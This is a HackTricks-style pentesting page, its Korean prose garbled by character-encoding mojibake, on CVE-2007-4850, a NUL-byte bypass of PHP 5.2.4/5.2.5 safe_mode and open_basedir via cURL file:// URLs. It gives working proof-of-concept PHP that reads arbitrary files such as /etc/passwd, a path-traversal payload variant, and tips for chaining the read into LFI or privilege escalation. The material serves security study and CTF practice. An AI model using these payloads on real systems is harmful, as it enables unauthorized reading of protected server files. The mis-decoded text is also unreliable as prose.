PHP 5.2.4 λ° 5.2.5 PHP cURL
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
μ΄ νμ΄μ§λ νΉμ PHP 5.2.x λΉλμμ cURL νμ₯μ μ΄μ©ν΄ PHP safe_mode/open_basedir κ²μ¬λ₯Ό μ°ννλ, λ κ±°μμ΄μ§λ§ CTFsλ λ‘컬 λ κ±°μ μ€μΉμμ μ¬μ ν μ μ©ν νΈλ¦μ λ¬Έμνν©λλ€.
- μν₯ λμ: PHP 5.2.4 λ° 5.2.5 (ext/curl νμ±νλ¨).
- μν₯: safe_mode λλ open_basedir μ νμλ λΆκ΅¬νκ³ μμμ λ‘컬 νμΌμ μ½μ μ μμ (μ§μ μ μΈ μ½λ μ€νμ μλ).
- ID: CVE-2007-4850.
μΆμ²: http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
μλΌμ΄λ PoC
safe_mode λλ open_basedirκ° νμ±νλμ΄ μκ³ cURLμ΄ νμ±νλ κ²½μ°, λ€μμ νμ¬ μ€ν¬λ¦½νΈμ λ΄μ©μ λ°νν©λλ€:
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
λ λͺ νν PoC (arbitrary file read)
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>
λ ΈνΈ:
- ν°λ°μ΄ν λλ chr(0)μ μ¬μ©ν΄ μ€μ NUL-byteλ₯Ό μ£Όμ νμΈμ. Percent-encoding (%00)μ μ λ’°μ± μκ² λμνμ§ μμ΅λλ€.
- μ΄κ²μ νμΌ μ½κΈ° ν리미ν°λΈμ λλ€. κ°λ₯ν κ²½μ° μΆκ° κΆν μμΉμ μν΄ λ€λ₯Έ ν리미ν°λΈ(log poisoning, session file inclusion λ±)μ κ²°ν©νμΈμ.
μ μ΄κ² λμνλκ° (μμ½)
μ·¨μ½μ μ PHP 5.2.4/5.2.5κ° ext/curlμμ file:// URLμ λν΄ safe_mode/open_basedir κ²μ¬λ₯Ό μννλ λ°©μμ μμ΅λλ€. κ²μ¬ κ³Όμ μμ URLμ νμ±νκ³ κ²½λ‘ κ΅¬μ±μμλ₯Ό κ²μ¦νμ§λ§, NUL-byte μ²λ¦¬λ‘ μΈν΄ κ²μ¦κΈ°λ libcurlμμ μ€μ λ‘ μ¬μ©ν λ¬Έμμ΄κ³Ό λ€λ₯Έ λ¬Έμμ΄μ κ²μ¦νμ΅λλ€. μ€λ¬΄μμλ κ²μ¦κΈ°κ° NUL μ΄νμ κ²½λ‘λ₯Ό μΉμΈν μ μλ λ°λ©΄, libcurlμ NUL μ΄μ λΆλΆμ URL 컨ν μ΄λλ‘ μ¬μ©νμ¬ NUL λ°μ΄νΈ λ€μ λμΈ νμΌμ μ½λλ‘ νμ©νλ μ°νκ° λ°μνμ΅λλ€. μμΈν λ΄μ©μ μλ³Έ λΆμκ³Ό curl/interface.cμ μν₯μ λ°λ λ§€ν¬λ‘λ₯Ό νμΈνμΈμ. [CVE-2007-4850].
μ μ½ λ° μμ μ¬ν
- ext/curlμ νμ±/κ²μ¦μ μμ νμ¬ μ΄νμ 5.2.x(μ: λ°°ν¬νμμ 5.2.6μΌλ‘ ν¨μΉλ λΉλ)μμ μμ λμμ΅λλ€.
- λ§€μ° μ€λλ PHP λ°°ν¬μλ§ μν₯μ λ―ΈμΉ©λλ€; safe_modeλ PHP 5.4μμ μ κ±°λμκ³ μ΅μ λΉλμμλ μ΄ λμμ΄ μμ΅λλ€.
κ΄λ ¨λ μμ¬μ cURL κΈ°λ° μ°ν
- CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappersκ° μλ² λλ NULλ‘
file://μ κ·Όμ νμ©ν΄ open_basedirλ₯Ό μ°νν μ μμμ; 5.2.x μ΄μ μ μμ λ¨. - PHP bugs #30609/#36223λ μ κ·ν μμ΄
file://μ μ¬μ©ν μ΄κΈ° cURL open_basedir λ¬Έμ λ₯Ό μΆμ νμ΅λλ€. NUL byte μ΄μ μμμ κ²μ¬λrealpath-μ€νμΌ ν΄μλκ° μλ λͺ¨λ κ²μ¬λ λμΌν μ λ¨(truncation)μ μ·¨μ½ν©λλ€.
CTF ν
- ext/curlμ΄ λ‘λλ PHP 5.2.4/5.2.5λ₯Ό μλ³ν λ(
phpinfo()μμcURL support => enabledλ° μ ννPHP Versionμ νμΈ), μ΄ κΈ°λ²μallow_url_fopenμ΄ λΉνμ±νλμ΄ μμ΄λ μΌλ°μ μΌλ‘ λμν©λλ€. μ΄λ ext/curlμ΄file://μ μ체μ μΌλ‘ μ²λ¦¬νκΈ° λλ¬Έμ λλ€. - μ§μ κ²½λ‘κ° μ°¨λ¨λλ©΄ NUL μ΄νμ μλ κ²½λ‘ ν‘λ¨μ μλνμΈμ. μ:
file://x\x00../../../../etc/passwd. ν‘λ¨μ open_basedir κ°λκ° μλλΌ libcurlμ μν΄ ν΄μλ©λλ€. - μ·¨μ½ν μλ²μΈ‘ μ½λκ° μ¬μ©μ μ μ΄ URLμ
curl_exec()λ‘ κ·Έλλ‘ λ°μνλ κ²½μ°(λ κ±°μ SSRF μ μ¬ μλν¬μΈνΈμμ νν¨), νμ΄λ‘λλ₯Ό λ¨μΌ HTTP μμ² λ°λμ κ°μΈ LFIλ₯Ό μ λ°ν μ μμ΅λλ€.
μ°Έμ‘°
Other disable_functions/open_basedir bypasses and modern techniques are collected here:
References
- Ubuntu CVE entry with patch pointers and affected versions
- Technical writeup with code context (cxsecurity)
- PHP bug #36223 (curl bypasses open_basedir)
- CVE-2006-2563 cURL PHP File Access Bypass (earlier NUL-byte issue)
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


